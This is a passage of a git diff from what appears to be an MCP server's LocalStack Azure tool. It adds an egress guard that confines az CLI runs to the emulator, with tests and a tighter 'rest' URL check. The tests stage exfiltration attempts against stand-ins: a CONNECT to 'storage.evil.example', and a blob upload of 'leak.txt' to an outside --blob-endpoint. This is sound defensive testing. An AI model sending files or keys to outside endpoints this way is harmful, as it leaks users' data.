!(host && isLocalHost(host))) { + // The egress guard refuses plain http, and the emulator's certificate is for its + // localhost.localstack.cloud names only, so `https://localhost` fails az's check. + if (hasScheme(url) && !(host && isEmulatorName(host) && /^https:/i.test(url))) { + const why = !host + ? `"${url}" is not a valid URL.` + : isLocalHost(host) + ? `"${url}" fails az's certificate check or the egress guard.` + : `"${host}" is not the emulator.`; return refuse( "URL not allowed", - `\`rest\` calls the emulator only: give a relative URL such as \`/subscriptions?api-version=2022-12-01\`, or one on a local host. ${host ? `"${host}" is not a local host.` : `"${url}" is not a valid URL.`}` + `\`rest\` reaches only the emulator: give a relative URL such as \`/subscriptions?api-version=2022-12-01\`, or one on \`${user.endpoint ?? "https://azure.localhost.localstack.cloud:4566"}\`. ${why}` ); } } diff --git a/src/lib/azure/runner.ts b/src/lib/azure/runner.ts index b1f411d..bccf54d 100644 --- a/src/lib/azure/runner.ts +++ b/src/lib/azure/runner.ts @@ -32,6 +32,8 @@ export interface AzRunResult { truncated: boolean; /** The spawn itself failed (ENOENT, EINVAL, ...). */ spawnError?: string; + /** The hosts the egress guard refused during the run (egress-guard.ts). */ + refused?: string[]; } const TASKKILL = path.win32.join( diff --git a/src/lib/azure/runtime-status.test.ts b/src/lib/azure/runtime-status.test.ts index 7444caa..ca8bab2 100644 --- a/src/lib/azure/runtime-status.test.ts +++ b/src/lib/azure/runtime-status.test.ts @@ -20,7 +20,7 @@ describe("getAzureRuntimeStatus", () => { }); }); - test.each(["https-not-ready", "license", "dns"] as const)( + test.each(["https-not-ready", "license"] as const)( "%s: the container is running, but not ready", async (problem) => { status({ problem }); diff --git a/src/lib/azure/runtime-status.ts b/src/lib/azure/runtime-status.ts index 6ce0c96..f815384 100644 --- a/src/lib/azure/runtime-status.ts +++ b/src/lib/azure/runtime-status.ts @@ -18,8 +18,7 @@ export async function getAzureRuntimeStatus(): Promise { const status = await getAzureEmulatorStatus(getAzureConfig(), undefined, { httpsWaitMs: 0, }); - const isRunning = - status.ok || ["https-not-ready", "license", "dns"].includes(status.problem ?? ""); + const isRunning = status.ok || ["https-not-ready", "license"].includes(status.problem ?? ""); const details = [ status.edition && `edition: ${status.edition}`, status.version && `version: ${status.version}`, diff --git a/src/lib/azure/services.test.ts b/src/lib/azure/services.test.ts index b2eebd2..a230c0f 100644 --- a/src/lib/azure/services.test.ts +++ b/src/lib/azure/services.test.ts @@ -1,4 +1,6 @@ +import net from "net"; import { ensureProfile as ensureBootstrapped } from "./bootstrap"; +import { startEgressGuard } from "./egress-guard"; import { AzResolveError } from "./resolve-az"; import { runAz, type AzRunOptions, type AzRunResult } from "./runner"; import { @@ -16,6 +18,11 @@ jest.mock("./resolve-az", () => ({ locateAz: jest.fn(() => ({ file: "/usr/bin/az", prefixArgs: [] })), })); jest.mock("./runner", () => ({ runAz: jest.fn() })); +// The real guard, watched. +jest.mock("./egress-guard", () => { + const actual = jest.requireActual("./egress-guard"); + return { startEgressGuard: jest.fn(actual.startEgressGuard) }; +}); // No private dirs under the real home. jest.mock("./child-env", () => ({ ensurePrivateDirs: jest.fn(), @@ -109,3 +116,32 @@ test("ensureProfile keys the profile on the az version and the emulator session, signal ); }); + +test("each az run gets an egress guard of its own, closed after it; its refusals come back", async () => { + resetAzureServices(); + jest.mocked(startEgressGuard).mockClear(); + jest.mocked(runAz).mockResolvedValueOnce(version("2.91.0")); + // The stand-in az asks the guard for a host outside the emulator, as a --blob-endpoint would. + jest.mocked(runAz).mockImplementationOnce(async (_az, env) => { + const { port } = new URL(env.HTTPS_PROXY); + await new Promise((resolve) => { + const socket = net.connect(Number(port), "127.0.0.1", () => + socket.write("CONNECT storage.evil.example:443 HTTP/1.1\r\n\r\n") + ); + socket.once("data", () => (socket.destroy(), resolve())); + }); + return result({ exitCode: 1 }); + }); + const answer = await runAzCommand(["storage", "blob", "upload"], {}); + const env = jest.mocked(runAz).mock.lastCall![1]; + expect(env).toMatchObject({ AZURE_CONFIG_DIR: "/cfg", HTTP_PROXY: env.HTTPS_PROXY }); + expect(answer.refused).toEqual(["storage.evil.example"]); + expect(startEgressGuard).toHaveBeenCalledTimes(2); // the version check, then the command + const closed = await new Promise((resolve) => + net + .connect(Number(new URL(env.HTTPS_PROXY).port), "127.0.0.1") + .once("connect", () => resolve(false)) + .once("error", () => resolve(true)) + ); + expect(closed).toBe(true); +}); diff --git a/src/lib/azure/services.ts b/src/lib/azure/services.ts index b98b507..498650f 100644 --- a/src/lib/azure/services.ts +++ b/src/lib/azure/services.ts @@ -2,6 +2,7 @@ import os from "os"; import { ensureProfile as ensureBootstrapped } from "./bootstrap"; import { buildAzChildEnv, ensurePrivateDirs } from "./child-env"; import { getAzureConfig, type AzureConfig } from "./config"; +import { startEgressGuard } from "./egress-guard"; import { AzResolveError, locateAz, @@ -47,11 +48,20 @@ export function resetAzureServices(): void { emulatorSession = undefined; } +/** Runs `az` behind an egress guard of its own, which only lets it reach the emulator. */ function runner(az: AzExecutable) { const config = azureConfig(); ensurePrivateDirs(config, process.platform); const env = buildAzChildEnv(process.env, process.platform, config, az); - return (argv: string[], opts: AzRunOptions) => runAz(az, env, argv, opts); + return async (argv: string[], opts: AzRunOptions): Promise => { + const guard = await startEgressGuard(); + try { + const result = await runAz(az, { ...env, ...guard.env }, argv, opts); + return { ...result, refused: guard.refused() }; + } finally { + await guard.close(); + } + }; } async function probeAz(signal?: AbortSignal): Promise { @@ -63,7 +73,8 @@ async function probeAz(signal?: AbortSignal): Promise { homedir: os.homedir(), ...nodeResolveFs, }); - // `az version` makes no network call (`az --version` does). + // `az version` needs no network (`az --version` asks PyPI for updates). On a fresh profile az + // still tries a download of its own, which the egress guard refuses; the version comes back anyway. const result = await runner(az)(["version", "-o", "json"], { timeoutMs: PROBE_TIMEOUT_MS, cwd: config.tmpDir, diff --git a/src/tools-tests/localstack-azure-client.test.ts b/src/tools-tests/localstack-azure-client.test.ts index d0f4780..9f5aaf9 100644 --- a/src/tools-tests/localstack-azure-client.test.ts +++ b/src/tools-tests/localstack-azure-client.test.ts @@ -14,7 +14,11 @@ jest.mock("../lib/azure/preflight", () => ({ requireAzureCliConfigured: jest.fn(async () => null), })); jest.mock("../lib/azure/services", () => ({ - azureConfig: () => ({ timeoutMs: 300_000, healthBaseUrl: "http://localhost:4566" }), + azureConfig: () => ({ + timeoutMs: 300_000, + healthBaseUrl: "http://localhost:4567", + endpoint: "https://azure.localhost.localstack.cloud:4567", + }), runAzCommand: jest.fn(async () => ({ exitCode: 0, stdout: '[{"name": "rg"}]\n', @@ -50,6 +54,10 @@ describe("localstack-azure-client", () => { test("a refused command needs no emulator and no az", async () => { expect(text(await call("login"))).toMatch(/^❌ \*\*Command not allowed\*\*/); + // The rest refusal's example URL is on the configured port. + expect(text(await call("rest --url https://localhost:4567/x"))).toContain( + "`https://azure.localhost.localstack.cloud:4567`" + ); expect(preflight.requireAzureEmulatorRunning).not.toHaveBeenCalled(); expect(preflight.requireAzureCli).not.toHaveBeenCalled(); expect(runAzCommand).not.toHaveBeenCalled(); diff --git a/src/tools/localstack-azure-client.ts b/src/tools/localstack-azure-client.ts index a30af2a..47facea 100644 --- a/src/tools/localstack-azure-client.ts +++ b/src/tools/localstack-azure-client.ts @@ -26,7 +26,7 @@ export const schema = { export const metadata: ToolMetadata = { name: "localstack-azure-client", description: - "Run Azure CLI (`az`) commands against the LocalStack Azure emulator. The tool keeps its own Azure CLI profile, logged in to the emulator with a dummy account, so your own Azure login is never used or changed. Relative file paths resolve against the server's working directory (LOCALSTACK_AZ_WORKDIR), and a leading `~` in any argument is your home directory. For an operation without a command, use `rest` with a relative URL; `rest` reaches the emulator and other local hosts only. Start the emulator with `localstack-management` (service: azure).", + "Run Azure CLI (`az`) commands against the LocalStack Azure emulator. The tool keeps its own Azure CLI profile, logged in to the emulator with a dummy account, so your own Azure login is never used or changed. Relative file paths resolve against the server's working directory (LOCALSTACK_AZ_WORKDIR), and a leading `~` in any argument is your home directory. For an operation without a command, use `rest` with a relative URL. `az` reaches only the emulator: an endpoint or URL anywhere else is refused. Start the emulator with `localstack-management` (service: azure).", annotations: { title: "LocalStack Azure Client", readOnlyHint: false, @@ -45,7 +45,8 @@ export default async function localstackAzureClient( // The token, the settings and the policy first: a refusal needs no emulator. const early = requireAuthToken() ?? requireAzureConfig(); if (early) return early; - const policy = evaluateAzCommand(command); + const config = azureConfig(); + const policy = evaluateAzCommand(command, { endpoint: config.endpoint }); if (!policy.ok) return ResponseBuilder.error(policy.title, policy.message); // Both run at once; a missing az is reported first, as the more basic prerequisite. @@ -55,7 +56,6 @@ export default async function localstackAzureClient( (await requireAzureCliConfigured(signal)); if (preflightError) return preflightError; - const config = azureConfig(); const result = await runAzCommand(policy.argv, { signal }); return formatAzResult(result, { notes: policy.notes, diff --git a/tests/mcp/azure-smoke.spec.mjs b/tests/mcp/azure-smoke.spec.mjs index 8e6508c..20ec674 100644 --- a/tests/mcp/azure-smoke.spec.mjs +++ b/tests/mcp/azure-smoke.spec.mjs @@ -1,3 +1,4 @@ +import { createServer } from "node:net"; import { expect, test } from "@gleanwork/mcp-server-tester/fixtures/mcp"; // The Azure tool against a live LocalStack Azure emulator (.github/workflows/azure-smoke.yml): @@ -54,5 +55,30 @@ test("az commands through the Azure tool", async ({ mcp }) => { const answer = text(await mcp.callTool("localstack-azure-client", { command: "login" })); expect(answer).toMatch(/^❌ \*\*Command not allowed\*\*/); }); + await test.step("an endpoint outside the emulator is refused", async () => { + // A listener on this machine stands in for a server outside the emulator, so nothing goes + // towards real Azure if the guard ever regresses. Plain http is refused at once; an https + // refusal is final too, but az's SDK retries the tunnel for over a minute. + let connections = 0; + const listener = createServer((socket) => { + connections += 1; + socket.destroy(); + }); + await new Promise((resolve) => listener.listen(0, "127.0.0.1", resolve)); + const outside = `127.0.0.1:${listener.address().port}`; + const key = Buffer.from("not-a-real-account-key").toString("base64"); + try { + const answer = text( + await mcp.callTool("localstack-azure-client", { + command: `storage blob upload --blob-endpoint http://${outside} --account-name ${account} --account-key ${key} --container-name data --name leak.txt --file data/sample-azure/hello.txt`, + }) + ); + expect(answer).toMatch(/^❌/); + expect(answer).toContain(`The tool refused \`http://${outside}\``); + expect(connections).toBe(0); + } finally { + listener.close(); + } + }); await test.step("delete the resource group", () => az(`group delete --name ${group} --yes`)); });